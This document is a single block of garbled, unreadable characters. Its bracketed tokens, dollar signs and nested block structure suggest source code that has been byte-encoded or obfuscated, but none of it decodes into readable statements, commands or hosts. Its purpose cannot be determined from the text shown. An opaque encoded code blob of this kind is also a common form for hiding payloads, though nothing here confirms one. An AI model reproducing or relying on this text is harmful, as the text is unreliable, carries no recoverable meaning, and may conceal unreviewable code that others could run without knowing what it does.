NB[ OZIDu_______W[OFF__^BB__]]V___[ FG  N$"_B__[OFFDu___[ FG  N$"_B_ L	WFKHVWNIFFOOL	OWVVDuu______W[H	H __^BB__]]_YY___?LWGHHVW[H	H V_YY_LWFKKVWGKFWJOGVVV___[	BMNLOD[NJOB[	!KIDuu____________WWV_?IFMWJOGVW[H	H __Q_GKFWIIMVV_____[MJMOV__u_[	HFLK__B__?IFMWFMIVW[MJMOS__S__
S_OS___WNJMMHRHOLJVVDu____W^GKFWGGHVW[	HFLKV______IFMWFJIVW[	HFLKS_LWFJFVV______BBB_____V__
Duuu__WLWGOIVWIFMWFIOVS_[	HFLKS____[
MN	LKGVV__u_[ KL	NO_B___GKFWFNLVW[
MN	LKG$N"VDuu___W[ KL	NO_^BB__]]V___[ FG  N$"___B__[ KL	NODu__uPP__
uuuuu___[ FG  N$"_B__LWFINVW[MJMOVDu_u_uuuu___W[
	MK I	___[__BA_[KJ
MV_u____W[ FG  N____[KHK V____u__W[__BBB__[KHK __[___BBB__  W[KHK VV______u_
W[IL MG$[K
"$ L	WFJJV"$["VDu_D[N
FJGBWOITOMOVD[MO MMB[N
FJGZNLDuuuuu_uuuu[OOLNHMN___B___W[IL MG$ L	WFIMV"$IFMWFJJV"V__YY___IFMWFILVW[IL MG$LWFIKV"$LWFJJV"V___@__[IL MG$IFMWFIKV"$LWFIJV"__E_WVDu____W[OOLNHMNV_u[ NI M__B__W L	WNKOVV____@___(/ <01+:1+ ;6-___E__WWLWFIIVV__@__>=,/>+7_Q__ L	WFIHV_____E__]]VDu[
I _B____WIFMWFMNV__BA_____IFMWFMMVS__ L	WFMLV_____BA__ L	WFMKVVDu_____W[OOLNHMN____[____BA___[KJ
MV____u_________W^W[
I $["V______[ NI M____BBB_____]]V_
Duu[L	L_B_? L	WFMIVW[ NI M___Q_XPX_Q__[S__S__
S_OS_WINFGRMNOMVVDu________W L	WGGHVW[L	LV_YY______WGKFWFJIVW[L	LS__ L	WFIGV_Q___[
I $["___Q__IFMWFIFVV__^BB________IFMWFHOVW[L	LS______GKFWFJFVV_^BB_VV___u
W[IL MG$GKFWFIKV"$ L	WFIJV"$["VDuuuuPP_	__uuuuu_uuPP_(/_/_3E__Ruu______
_[IL MGDu__u___u___
___ HO
 JW[JLOKVuu________W^____IFMWFILVW[JLOKVV__uPP___R
uu
_[JLOKDuu__[	KNLIM___B____GKFWFINVWNIFFOOL	OWVVDu___[	IHNL__B__IFMWGMMVW[	KNLIMS___/>+76190 963:1>2:VDu____[GO___B_Wu__WLWFHNV__BA__X\X_Q__ L	WFHMVW[	KNLIMS___X\XV_Q_LWFHLVS___ L	WFHKV_____BA__
VSuuuu____WGKFWFHNV_____BA__IFMWFHJV_____Q_ L	WFHMVW[	IHNLS_X\XV__Q___IFMWFHLVS__LWFHKV_____BA___
VSuVDu___WW[JLOK$GKFWFHIV"V_YY_IFMWFILVW[JLOK$IFMWFHIV"VV______u__________W[JLOK$LWFHIV"____[O	JGIMJ_____BA_[FJKV__uu___W^__ L	WFHHVW[FJKV_____^_____ L	WFHGVW[O	JGIMJVV__u_
Duuuuu_______W^___W[JLOK$IFMWFHIV"$[O	JGIMJ"$LWFHFV"V________^_IFMWFHHVW[JLOK$GKFWFHIV"$[O	JGIMJ"$LWFHFV"VV_uuu[JLOK$IFMWFHIV"$[O	JGIMJ"$IFMWFHFV"___B__WVDu__u_________W[GO______[FV___uPP_R_R
	_uuuuu[JLOK$LWFHIV"$[O	JGIMJ"$LWFGOV"$"__B___[FDu____u_u_u_
_[JLOKDu_u_u____
____NI
FWVu_[OKHNJB/7/ 61+ 2>'P/7/ 61+ 2>'D[LM B[OKHNJTFNDu______u_____W^_WGKFWFGNVV______WLWFGNVV__C___WMTJVV______u___
D[LL B/7/ 61+ 2>'P/7/ 61+ 2>'D[ B[LL TNLDu___u________W L	WIOFVW L	WFGMVS__VV___uPU_	R
	_R_UPuu_
Du___u[OKL___B______GKFWFINVWNIFFOOL	OWVVDu_____[GFK__B_WIFMWGMGVV_@___(/ /3*861 ;6-_____E_]]Du_[ FL_B__Wu_[GFK______Q_GKFWFGLVSu___[GFK______Q_LWFGKVSuuuu_______[GFK__Q_ L	WFGJVSu______VDuu[	
O	_B_____]]Du___W[ FL_____[MNHV_u_W[MNH____^BB____]]___YY___?LWFGIVW[MNHV__YY___?LWGNNVW[MNHVV__uuuu___[	
O	_B___[MNHDu__Du___u_u________W[	
O	_BBB_]]V__u___
Du__u_____[OKL __B__ L	WGILVW[	
O	VDu 
 W
_W[NKOFLV__
______W[OKL V____u______WW[OKL ____Q___XPX_Q___[NKOFL__Q_LWFGHVS____[OKL ___Q____XPX__Q__[NKOFL_Q____ L	WFGGVV______[JH	
KV__uuuu_________W?GKFWFGIVW[JH	
KVV____u
 __[JH	
KDu______
Du_uuuu__uuuu______VDu___[KGJMO
N__B__? L	WFMIVW[	
O	VDu__W[KGJMO
N___BBB____________GKFWFHOVW[KGJMO
NS______IFMWFGFVV_BBB_____V_____uuuu_____
Duu__[KGJMO
N___B____GKFWFFOVWIFMWFFNVS___]]S__[KGJMO
NVDu_____[KGJMO
N_B_ L	WKOFVWGKFWFGFVS___GKFWFFMVS_[KGJMO
NVDu__[JL__B______ IIL
K NIOIW	 NWVS_IFMWGJJVVDu_____W[JL__BBB_V___[OGJBNJTJID[GIOOB[OGJRKIDu____
Duu___?LWMNMVW[JLS_LWFFLV__Q____[KGJMO
NVDu_u__?
_[JLDu___u___O
	LW[JLVDu____u___[
	

K____B_____LWGMMVW[OKLS__/>+76190 963:1>2:VDu__[830=>3,$GKFWFFKV"__B_[OKLDu__[830=>3,$ L	WFFJV"__B_____[
	

KDu_[G	LN__B_LWFFIVu__Q_LWFFHVuu___Q__GKFWFFGVu____Q____GKFWFFFVu___Q_IFMWNOOOVuuQ____XXuQ__IFMWNOONVuQ__XXuQ___XXDu_____[FGN
  ___B__ IIL
K NIOIW	 NWVS___LWNOOMVVDu_______W[FGN
  V___uPP_R
_

__(/_:_/	uu___?IFMWMNMVW[FGN
  S__[G	LNVDu_____uu___?
__[FGN
  D[ 
HBGGOD[ONKNMFNB[ 
HZNJDu_____u___O
	LW[FGN
  VDu_u___uPP_
_uu____________W+______[NJN MV___u________KKGMM 

WIFMWNOOLVS_[NJN MVDu________W:__[NJN MV_u_____uPP_(/_=
_=E__uu____u__W^IFMWFKKVWIFMWNOOKVVV_[OIO  BLOTGOD[MFNHB[OIO  RMKDu
_____OKGNHW[ 
S_[NKLNIJMVu_u________W^__GKFWNOOJVW[ 
VV_uPP_?	_Ruu____
__[ 
Duuuu______u____[J_B__WLWNOOIVS_____IFMWNOOHVS__LWNOOGVS__GKFWNOOFVS______GKFWILOVVDu_______W[J_______[V_uPP_	_	uu__________W^___W[ 
$["V________^__ L	WNOOJVW[ 
$["VV__u_
Du_uuuu_[	L __B____WVDu____W[ 
$["______[KLG IJKV__u__________W^_LWNONOVW[KLG IJKVV____uPP_2,.3_5,01____
uu[	L $"__B_[KLG IJKDu
Du___u_[OIGON___B_____W[KLG IJK$ L	WNONNV"V_@_[KLG IJK$LWNONNV"__E_]]Duu[
	

K___B__W[830=>3,$IFMWNONMV"V__@_[830=>3,$LWNONMV"__E_]]Duuu____W[OIGON___BBB_[NKLNIJM___W[
	

K_____^BB____]]___YY_[OIGON__BBB____[
	

KVV___uu___
Duuu____[	L $"__B___OKGNHW[KLG IJKS__[NKLNIJMVDu____u_[ 
$["__B_[	L D[
MMGBJLUMD[LIOG
B[
MMGRLKDu___u___
_[ 
Duuu
_LJ
KGWVu_____uPP__uu_u__WLWFKKVW L	WGHKVV____YY_____ WIFMWHGMVVV__u_______
Duuuuu______[JMJ_B____?GKFWMMLVWNIFFOOL	OWVVDu____W[JMJ__YY__[JMJ___A_WGJHJRLJHJV___YY___[JMJ_C____WKFFFFIGTLMV___YY_^NLGIM	NJWNIFFOOL	OWVVV__u______[KML__B_____?IFMWFMIVWNIFFOOL	OWVVDu___WIFMWGGHVW[KMLV__YY_LWNONLVW[KMLV___BBB___[JMJ___YY__	JFO H
W[KMLVV_u___W
LKLJ	NWNIFFOOL	OWVS___LN
JW[KMLVVV__u____FKKKNLWNIFFOOL	OWVVDu__OFKKF WNIFFOOL	OWVVDu_______u____u_
W[KMLVDu__uuu________[JJOJ___B___? L	WMMLVWNIFFOOL	OWVVDuuu_[M M_B__[JJOJ__YY_[JJOJ___A__WKFGHTNLVDu____W[M M__YY___[JJOJ__A_WJMKMGHOMTFGVV__u__[M M_B___Du_______uuu_______W[M MV_u___[NMMGG______B__?LWFMIVWNIFFOOL	OWVVDu_____W L	WGGHVW[NMMGGV____YY___LWNONLVW[NMMGGV_A__WFHMHKGTHJGMGVV___[NMMGG___B__ GH
JKHW[NMMGGVDu___W^GKFWNONKVW[NMMGGV_______^	JFO H
W[NMMGGVV____u_____[M M_B_Du____________u____[LIO	_B___
M	FKL
L  W L	WNONJVS__]]VDu______[ K
J_____B___NJIN	FW[NMMGGVDu___[	N_B__NJIN	FWIFMWNONKVW[LIO	V____@__[LIO	__E____]]VDu_________W[ K
J____^BB__]]___YY_W[	N____BBB___]]_____	 W[	NS_[ K
JS_XCXVVV____u____[L
	I___B_LWGGMVW[NMMGGVDuuuu_____[I
O	G__B_?GKFWNONIVWGKFWGILVWNIFFOOL	OWVV___Q__LWNGJV___Q_[L
	IVDu________W^[I
O	GV_u___[ LNFG__B____ W L	WNGFVVDu___WLWNONKVW[ LNFGV______YY____GKFWFHOVW[ LNFGS___[L
	I__Q__XXV__BBB____O_YY_____IFMWGJHVWV_R__WV__GKFWNONHVW[ LNFGS__GKFWFHOVW[ LNFGS_XXV______T_NV__C__WONLKTONLLLVV__[I
O	G______B__
Du_u__W[I
O	GV____[M M_____B_Duuu____W^[I
O	G__YY_____LWNONKVW[LIO	V____YY__W[LIO	____BBB___]]____[	N_BBB__]]____	 W[	NS___[ K
JS___XCXVVV____ MIMM	WIFMWNONJVS__[NMMGGS__GKFWGFGVVDu_
W[L
	IS_____[I
O	GS__[ LNFGVDuuu__WGKFWNONKVW[LIO	V_YY___GKFWNONLVW[LIO	V_A__WKGJTNJV____YY_IFMWNONLVW[LIO	V_CB__WNOKGJHJTNV_____YY_^NMNJJFINW[LIO	V__YY____	JFO H
W[LIO	V_YY__GKFWGGMVW[NMMGGV_^BB_GKFWNONGVW[LIO	VV__uPP_R_RR_RRuu[M M____B____Duu_____u_____u_______W[M MV_uPP_6_E__uu__WGKFWNONFVWGKFWHGNVVV_u_______ WIFMWNOMOVS__NS_WOLOGTOOGVVDuuuu__u_______
Du___u__WNLGIM	NJWNIFFOOL	OWVVV___u______
Du__u[OJM
____B_GKFWGILVWNIFFOOL	OWVVDu_____W^_?GKFWGHHVW[OJM
VV___uPP_?R_Ruu______ NKKW[OJM
S______WJONRGVS_
VDu_u_____[FFL_B__
M	FKL
L  WLWNOMNVS__]]VDu___W^[FFL______^GKFWNONKVW[FFLVV_____u____W^ W L	WNOMMVVV_____uu_KKGMM 

WGKFWNOMLVS__ L	WNOMKVVDuuuuuu__ W L	WNOMMVS______NS__WNLMOTMMGOVVDu_u___u______W[FFL__YY___LWNONKVW[FFLV_YY__ L	WNONLVW[FFLV_A_WKIHTLLV_____YY__IFMWNONLVW[FFLV_CB__WNOKGKFKTGMV____YY___^NMNJJFINW[FFLV__YY___	JFO H
W[FFLVV_u___[__B_NJIN	FW[FFLVDuu___W[_^BB_____]]____YY__	 W[S_GIILHWVS_____XCXVV____u__
D[BHOFD[IB[!MOFDuuuuuu[	JJ_____B___IFMWGILVWNIFFOOL	OWVV__Q____IFMWHFLV____Q_LWFINVWNIFFOOL	OWVS__GKFWFGGVVDuuu[JK	NI_B_?IFMWNONIVW[	JJV_@___ L	WNOMJVWWV___?LWFMIVW[	JJVV_E_]]Du_W[JK	NI__^BB__]]_____YY_ L	WNONGVW[FFLV__BBB__[JK	NIV______uuuu______
DuuuL 
	WNIFFOOL	OWVS__WLKHTHLVVDu_[FKGJK_B_
LKLJ	NWNIFFOOL	OWVS____LN
JW[FFLVVDu____W[FKGJKV__u_____FKKKNLWNIFFOOL	OWVVDu_L 
	WNIFFOOL	OWVS___WLIKRHMVVDuOFKKF WNIFFOOL	OWVVDu__	MNMW
VDuuuLNMW
VDu____G
GWNIFFOOL	OWVVDu__W L	WNONFVWGKFWHGNVVV___u____ WIFMWNOMOVS_NS___WOJTOGIMVVDu______u_____WLWNONFVW L	WHGNVVV___u__ WIFMWNOMIVS_NS_WNHMNTHFVVDu___uuu___uuuu_______W+___[NJN MV__uKKGMM 

WIFMWNOMLVS_[NJN MVDuuuu_____W:___[NJN MV__u____u__u____u_
_ J 
OWVu_uPP_/7/_
__uu____L OJFHGJWLWNOMHVS_LWNOMGVVDuL OJFHGJWLWNOMFVS___IFMWNOMGVVDu___WGKFWNONFVWLWNOLOVVV_u_____	 WIFMWNOLNVS_____LWNOLMVVDu__	 W L	WNOLLVS____ L	WNOLMVS__WHTLVVDu	 WIFMWNOLKVS__GKFWNOLJVS__WJTJVVDuuuu___uPP_(/_=_)__uu_______u
_____ LF
HJKWVuu_______uPP_uuu_[__B__[830=>3,$ L	WNOLIV"Du____uuuu___[L___B____[RA____Q_GKFWNOLHVDu_____[H IMIM______B_X,X__Q___LWNOLGV___Q_[RA
____Q____LWNOLFV_Q_[RA
__Q___IFMWNOKOVDu_
___[RA 
W[RAW[H IMIMS___[LS_GKFWNOKNVVVDu_______W+____[NJN MV___u__KKGMM 

WIFMWIHMVS__[NJN MVDu_____________W:_[NJN MV_u_______u____
____WVD[ FJNLBNJFMOKD[	IG
LB[ FJNL!IHDuuuu_u___
_ 
K
OI	W[HG NJVu_u_[KMJK__B_WVDu_____[MFOHJ___B_
__W[
	JFN	JOV__uPP_
_R_RRuu_______[
	JFN	JO$GKFWNOKMV"__B__]]Du______
___[
	JFN	JODuuPP__
uDuuuu______u_____W^_GKFWNONFVWIFMWNOKLVV___^__GKFWIOFVWIFMWNOKKVVV__uPP_/7/__E__uu____
_[KMJKDu__uuuu_____W^_IFMWNOKJVW[HG NJV________W[HG NJVV__u_______
___[KMJKDuuu___u__[
K I L_B___LWNOKIVWV_____T__WGJ!FNV__U___WGILFMTGVDuuuu__[ __B___ L	WNONFVWIFMWJKMVV____YY__ WVDu_[
MO____B_[ ______@___IFMWNOKHV__E_GKFWNOKGVDu_[	GGFMJK____B___[ _____@__WWLWNOKFVV___@____,:<*-: >*+7 <0046:_E___]]V___E_WW L	WNOJOVV_____@_>*+7 <0046:_E_]]VDu____[JK
_B____W L	WNOJNVV_@_____3088:; 61 <0046:__E__]]Duuuu_________W^_[	GGFMJK____^_____[JK
V___u_______
___[KMJKDu__u__[I	FJI__B___WGKFWNOJMVV_YY__<0046: ;02>61__@_LWGVW<0046: ;02>61S__XQXV__E___	OW]]VDu[FNL__B___WGKFWNOJLVV___@____<0046:/>+7__E_XPXDu_[
JMG__B_WGKFWNOJKVV__@_>;261 <0046: />+7_____E_IFMWNOJJVDu[F
 __B__[ __@_IFMWNOJIV_E___IFMWNOJHVDu_[M_B_]#]Du__L OJFHGJWGKFWNOJGVS__[MFOHJS____OVDu[
	MN____B____J	M K

ILW L	WNOJFVVDu[GFHMM_B__IFMWNOIOVWGKFWNOINVV_@__? W[
	MNS____WVV_E___WVDu_______W^GKFWNOKJVW[GFHMMVV__[GFHMM____B___WVDu[
IM
I_B____Du___[GMH_B_____ODuu_W[HG NJ______[J	HL	V_____uuuu__W^__LWFGVW[J	HL	V_____^___[J	HL	RA6;_____^___[J	HL	RA
 V____u_
Du__uu_u___W[GMH_AB__WMTNVV______uDu___u_____[		G_B_____WV_[J	HL	RA
 D[LOHBNFINMMD[LL B[LOH!NGDuuu__WW[GFHMM$[		G"V___YY_____WV__[GFHMM$[		G"_A_LWNOKIVWV____T__M_U____WNKGLJTHNJIJVV__u______
Duu___  W[J	HL	RA6;S____IFMWNOIMVVDuu_[OIIHN N_B___ 
 W[J	HL	RA6;S__IFMWNOILVS__
VDuuu_______WLWNOKJVW[OIIHN NV_YY__GKFWNOIKVW[OIIHN NV___AB__WFTNVV_____u_[IMFIGF____B_WVDu__W[OIIHN N_____[M__BA___[FKV_uuuu____WW[FK$LWNOIJV"V___YY___[FK$GKFWNOIJV"_____A_ L	WNOKIVWVV____u_[IMFIGF$[M"__B___[FKDu____u__u____WLWNOIIVW[IMFIGFV_^BB_LWNOIIVW[OIIHN NVV___u___
 
 W[J	HL	RA6;S_ L	WNOILVS___[IMFIGFVDu__u__uuuu  W[J	HL	RA6;S____ L	WNOIMVVDu__[I		____B__LWLLJVWWGKFWNOKKVS__LWNOIHVVS____[J	HL	RA6;VDu______[ IH_B__[I		RAW[
K I LVDu____[GO__B__WVDu[GO$"_____B_[I	FJI_Q__[M__Q__GKFWNOJIV___Q__[M______Q__[FNL_Q___[M__Q_[F
 ___Q___[M__Q__[
K I L__Q_____[M_Q_[JK
__Q__[M__Q__GKFWNOKLVW[J	HL	RA6;S_____[
K I LS____IFMWNOIGVS_[ IHVDu__________W[	GGFMJKV___u_[GO$"_____B____[I	FJI___Q_[M__Q_GKFWNOIFV_____Q__[M_Q______[
JMG___Q_[M_Q_[F
 __Q____[M_Q__[
K I L___Q__[M_Q____[	GGFMJK___Q__[M__Q___ L	WNOHOVW[J	HL	RA6;S_[
K I LS__[
MOS_[ IHVDuuuu____[KMJK$[J	HL	RA
 "__B_[GODu[GFHMM$[		G"__B_[
K I LD[KO FGBNHUGD[FI HOINJGB[KO FGRLDu_[
IM
I___B______
Du_[GMHTTDu_uPP__uuu______W[
IM
I___YY_IFMWNOIOVWIFMWGGGVVV___u?
 W[
	MNS____[GFHMMS___IFMWGFGVVDu_u___W+__[NJN MV_uKKGMM 

W L	WNOHNVS___[NJN MVDuuu____W:__[NJN MV___uu___	 WGKFWNOHMVS__[MFOHJS__OVDu___
___[KMJKDuuuu___u
___ LH
GMNKW[	G OVuu____u______WGKFWNONKVW[	G OVV_____
____[	G ODu___WIFMWNOHLVW[	G OV__YY___W[	G O$XX"V__YY__GKFWNONKVW[	G O$XX"VV____
____[	G O$XX"Du__
__]]Du_____u_
_K
  K FOJHW[HG NJVu___uu__[_B___WVDu_[	 F_____B__WV______
M	FKL
L  WIFMWNOHKVS__]]VDu___[IJF__B___WV______
M	FKL
L  WGKFWNOHJVS____]]VDu______W[	 F_^BB___]]_YY_____[IJF_^BB______]]V_u_____[$[	 F"_B___[IJFDu____uuuuuu_[JMONM
K_____B____
M	FKL
L  WGKFWINFVS_WVVDuu______WGKFWNOHLVW[JMONM
KVV__uuuu_____W[JMONM
K__[	GM___BA____[MKKV____u_____[LLMHN___B______ LH
GMNKW[MKKVDu____W[LLMHN__^BB__]]V_____[$WV_____[	GM"_____B_____[LLMHNDu______u____u____
_[Duu__u
__
LNNHW[	GMS___[JIKFS______[	NGI	Vu_u_____u______W^___LWNOHIVW[	GMV___^____IFMWFFVW[	GMS___IFMWNOHHVVV_u
_[	GMDu___u____W^__[	GMRA WLWNOHGVVV____u_
__[	GMDu__u_____W^_IFMWNONKVW[	NGI	V___^__[	NGI	V___uPP_2,.3_G_<+:E_
_uu____
____[	GMDu_u[JMONM
K_B_
M	FKL
L  W L	WNOHFVS__WVVDu______W^_LWNOHLVW[JMONM
KVV_u__[JMONM
K___B___WVDuuu___u__W[JMONM
K_____[  IJL__BA__[NLGFV__uuu_[NKF
 F_B__IFMWNOHLVW[NLGFV_____YY__W[NLGF$GKFWNOGOV"V______@_WV___[NLGF$LWNOGOV"___E_____ODuu_____W[NKF
 F__YY__[NKF
 F____C__IFMWNOGNVWV___R_____WMJOLMGNTJMHMHNFVV_
W[JMONM
K$[  IJL"VDuuu_____uuu__[JMONM
K$[	GMRA
 "_B_WXX__BA_[	NGI	S___ L	WNOGOV_____BA___IFMWNOGNVWVS____GKFWIMOV_BA___OVDu__ MIMM	WLWNOHFVS_[JMONM
KS___GKFWNOGMVVDuu_______W+_[NJN MV___uKKGMM 

W L	WNOGLVS___[NJN MVDuuu__________W:_[NJN MV__u_u_______
__[	GMDu__uuu
__	NIKMW[
OFNJS__[	GMVu__u___u___W^ L	WNONKVW[
OFNJV___[
OFNJ__BBB___]]V_
Du_uu__[JMONM
K__B__
M	FKL
L  W L	WNOHFVS_WVVDu____W^IFMWNOGKVW[JMONM
KV____^W[JMONM
K$[
OFNJ"VV____
Du__[NJN M__B___[JMONM
K$[
OFNJ"Du___________WIFMWNOGJVW[NJN MV_YY___W[NJN M$ L	WIMOV"VV___[	FFBWOFTOJVD[O	LGB[	FFZFDu___[JMONM
K$[
OFNJ"$IFMWIMOV"__B___ND[
LLMLBNKTLOD[
	HFFIB[
LLMLRHDu_ MIMM	W L	WNOHFVS_[JMONM
KS_ L	WNOGMVVDuuu______W+___[	G	OFV___uKKGMM 

WLWNOGIVS_[	G	OFVDu_______W:_[	G	OFV______uuuu____uu___
__MJ 
I W[HG NJVu[ H
HBNHJMLHD[LMHB[ H
H!HNDuuu___W^___ L	WNOGJVW[HG NJVV_uPP__R_uu___
_Duu______u[
K___B_FMINWVDu__W[HG NJ________[J	HL	V_u______W[
K______[I	M
 V_u___W L	WGOIVWLWNOGHV__Q__LWNOGGVW[I	M
 S_XPXV____Q_ L	WNOGFVS__[J	HL	RA
 VV___uPU__R_UPuu
__[J	HL	Du_u____u____u
_Du__u_
_F
W[N
HJ	S__[KIMGVu____u_
_GKFWNOFOVWLWNONGVW[N
HJ	VS__OS__[KIMGVDuuuu_uuu__
_____GLOW[M GMNJIVu_u___W^ L	WNONKVW[M GMNJIV______[M GMNJI___BBB_]]______^WIFMWFIIVVV____
___Du_____[ I_____B_____
Du_____W[ I__BBB_
V_uPP_(/_/_=E__
u[	KMHB/7/ 2>50- ):-,601D[G	JMB[	KMHUMDu__[ I___B_Wu_F
W>=,/>+7_Q_GKFWNOFNVS__WJTLVV___Q______ L	WFGGVSu___F
W>=,/>+7__Q_ L	WNOFMVS___WNTHVV___Q______LWFGGVSuVDu_u___W[ I______[
OV____[KHJ

BGNUMD[M B[KHJ

RKDu_____WGKFWFHOVW[M GMNJIS_[
OV_^BB_____V_
_____
Du_u___
__Du____u
_KNIOHMONW[KIMGVuu___[OOBLFUHD[	OGKILB[OORLODu_
__F
W
WWV___LWKKOVWVS___
VS__[KIMGVDuuuu________u__
____ GFFIW[OGOGVuu_W^IFMWNOIOVW L	WNOINVVV_
_____Duuuu__[IHKJ__B__ W L	WNOFLVS__WVVD[L	BNHJJD[GMMB[L	ZNMDu_W^IFMWNOGJVW[IHKJVV_
_____Du_[
 MGJIMNJ_B__ L	WNONGVW[OGOGVDuuuu__WW[IHKJ$[
 MGJIMNJ"VV__
___Du_______[LLMHN__B___GKFWMMOVWXXS____WV__[IHKJ$[
 MGJIMNJ"VDu______[FH__B__W[LLMHN$N"V__@___WV____[LLMHN$N"___E__OD[JL
BIHTJID[
F	OIGKIB[JL
RKKDu__
____W[FH__A_O_____YY_IFMWNOFKVWV___R__[FH_C___WOLTOIKVVDuu_____
_GGHKMOJLW[OGOGS____[FHJMOLHOVu____u__W^GKFWNOIOVWGKFWNOINVV_________^ L	WNOFJVWGKFWNOFIVVV_
Du_______[IHKJ___B__ WLWNOFLVS__WVVDu________W^GKFWNOGJVW[IHKJVV____[IHKJ___B__WVDu_[
 MGJIMNJ___B_GKFWNONGVW[OGOGVDuu_W^[FHJMOLHOV______u__WW[IHKJ$[
 MGJIMNJ"VV__u
W[IHKJ$[
 MGJIMNJ"VDu
 WIFMWNOFLVS____[IHKJVDu_____u___
Du_uuuu_____[OMON
	___B_ODu_______W^W[IHKJ$[
 MGJIMNJ"VV__u__[LLMHN__B___GKFWMMOVWXXS_WV___[IHKJ$[
 MGJIMNJ"VDu_____[OMON
	_B____WV_[LLMHN$O"Duu_u__[OMON
	TTDu_____[FH__B____W[OMON
	___AB_WIRLVV__@__ L	WNOFKVWV___E___ODu__W[IHKJ______[KFFJ G_BA__[INGV_____u___[M GMNJI__B__IFMWMMOVWXXS___WV____[INGVDu____W^W[M GMNJI$N"V_YY__LWNOFHVWV___R_WV_[M GMNJI$N"__A__WOMMFTOMGOOHVV__
W[IHKJ$[KFFJ G"VDu______uuuu[IHKJ$[
 MGJIMNJ"___B_[OMON
	____Q_XX_Q_[FHDu
 W L	WNOFLVS_[IHKJVDu_____u___
____FIN
G
LW[OGOGS___[
J
GVuuu___uuu____W^GKFWNOFGVW[
J
GVV_
Duuuu_[  OK
____B__ IIL
K NIOIWIFMWNOFFVW[OGOGVS__GKFWNNOOVVDu___________W[  OK
__^BB___V__u__________W? L	WNNONVW[  OK
S_____[
J
GV_____BBB_ L	WNONLVW[
J
GV_YY__H	JO
 MW[  OK
S___[OGOGVV____
Duu__O
	LW[  OK
VDuuu_____u?LWNNONVW[OGOGS______[
J
GVDu____uu____
__
LKLJ	NW[OGOGS_[	OJ Vuuuu_u_[HN
O_B__GKFWNOFFVW[OGOGVDu__W^?LWGHHVW[HN
OVV___u____KKGMM 

W L	WNNOMVS__ L	WNNOLV__Q___LWNNOKVW[OGOGVVDu_
_Duuu_u__[
HM
IFO______B_WIFMWNOFOVW[OGOGS__RWOLTONVV____BBB______ L	WFGGVVDu___W[
HM
IFO____YY_^	JFO H
W[	OJ VV__u_KKGMM 

W L	WNNOMVS___LWNNOJV__Q__GKFWNNOKVW[OGOGVVDu____
____Duu_______W[
HM
IFO___YY_____ GFFIW[OGOGVV__
__Du[LM  I_____B___Du____W? L	WGHIVW[OGOGVV____[LM  I____B__
D_u____[
J
G_B__
D[HIJB/7/ 61+ 2>'P/7/ 61+ 2>'D[	IB[HIJTMLDu_______[KHO__B____Du_[FIJHF
_B_
Du_____W?GKFWNNOIVW[OGOGV__YY____^?GKFWGHIVW[OGOGVV_u______[KHO___B__
Du____[FIJHF
__B__?W[OGOGVDu____W[FIJHF
____BBB_V____[FIJHF
____B____
Du____W? L	WMMLVW[OGOGV__CB____WOMGFNNNTOFOIVV_[
J
G____B_?IFMWFMIVW[OGOGVDuuuu__u____W^IFMWNOFJVWIFMWMIVVV_u__KKGMM 

WLWNNOMVS_ L	WNNOHV_Q_LWNNOKVW[OGOGVVDu_____
____Du________uuu[I__B____Du_[I___B_Du___[ __B___LWNNOGVW[	OJ VDu_____W[IO__B___OD______[IO__C_MD__[IOTTV___u[I___B__ IIL
K NIOIW[HN
OS_LWNNOFVVDu__W[I__^BB__V___u[I___B_Du__[M GMNJI____B____? L	WNOKVW[IS___GKFWNNNOVVDu______W[M GMNJI__^BB_V__u_[LKF _B_ODu_________W[LKF _C__[ V___uuu_[ KL	NO_B__?LWNNNNVW[M GMNJIS_LWNNNMVW[	OJ S___[LKF VVDu___W[ KL	NO___BBB______[ KL	NO____BBB__OV_Du___[LKF _TB_[ KL	NODuu___?
W[M GMNJIVDuPP_?_u[GJJBGHNLID[	GB[GJJ!IFDu___W L	WNNNLVWGKFWNNNKVVV____?W[M GMNJIVD[F	LBRFID[
K	KBW[F	LAOV@[F	LER[F	LDu__?W[M GMNJIVDu____W[LKF _BBB____[ V__[I_B__[LKF Du_________uuu[I___B_?LWNNNJVW[IS______[	OJ VDuu_____uPP__uu___W[I___^BB_____YY____[I____BBB__[ V__Du____O
	LW[IVDuuuu___[I_____B___Duuu___uuuuu_________W[I___BBB___V_u_KKGMM 

WIFMWNNOMVS___LWNNNIV__Q_IFMWNNOKVW[OGOGVVDu
_Du___uuuu_W[I___BBB____[I_^BB___[ V____u_KKGMM 

W L	WNNOMVS_GKFWNNNHV_Q_IFMWNNOKVW[OGOGVVDuO
	LW[IVDu
____Du_u____W[FIJHF
__^BB______
V___?GKFWNIKVW[IS__[FIJHF
____Y______WKFGTNLVVDuuu_[	
HMF	____B__H	JO
 MW[IS_____[OGOGVDu______W^[	
HMF	_YY___[KHO_____YY___^[LM  IV_u______W?IFMWNNOIVW[OGOGVV_L 
	W[OGOGS__WLFKTMIVVDu_[	GGF ____B_[OGOG_Q_ L	WNNNGV____Q__ L	WKKOVWWONHNTOMHHVS_WNMHGTGHMNVVDu_____WH	JO
 MW[OGOGS____[	GGF VV_____u___[	
HMF	__B__H	JO
 MW[IS_[OGOGVDu___W[	
HMF	V_uu__O
	LW[	GGF VDuu_______uPP__uuu_______W^H	JO
 MW[	GGF S__[OGOGV_YY_____^
HIOW[	GGF S____[OGOGVV___u___FIN
G
LW[OGOGS_[
J
GVDu____uPP_/,-RNJ_E_R_Ruu_______W^? L	WNNOIVW[OGOGVV___u______FIN
G
LW[OGOGS__[
J
GVDu__uuu_uuu_uuuu________W^[	
HMF	__YY__^[LM  I_YY___^[
HM
IFOV_uuuu___W?IFMWNNOIVW[OGOGVV_____L 
	W[OGOGS__WLGFTLNVVDu__W
HIOW[IS_____[OGOGVV__u__[	
HMF	_B____
DuO
	LW[IVD[ OFLOBRLNID[K	 BW[ OFLOAOV@[ OFLOER[ OFLODu__u_____uuuu__W^[	
HMF	V_____u______W?IFMWNNOIVW[OGOGV__YY__WV_?GKFWMMLVW[OGOGV_^BB___[ V____[FNIHBGTKHD[GHB[FNIHRLGDu_____[JLJ M_B_?GKFWNNNFVW[OGOGVDuu___________W^ L	WNNMOVW[JLJ MV___WLWNNMNVW[
J
GV_YY___[JLJ M__^BB___[
J
GVV___u____WIFMWNNMMVW[
J
GVV_FIN
G
LW[OGOGS_[
J
GVDuuu__W^[KHOV_O
	LW[OGOGVDuPP_(/_,_3_	_uu_______u__
W[JLJ MVDu____u______W^?LWNNOIVW[OGOGVV__uFIN
G
LW[OGOGS_[
J
GVDuuKKGMM 

WIFMWNNMLVS__GKFWNNMKV___Q____GKFWNNOKVW[OGOGVVDuO
	LW[IVDu_
__Du_uuuu___?W
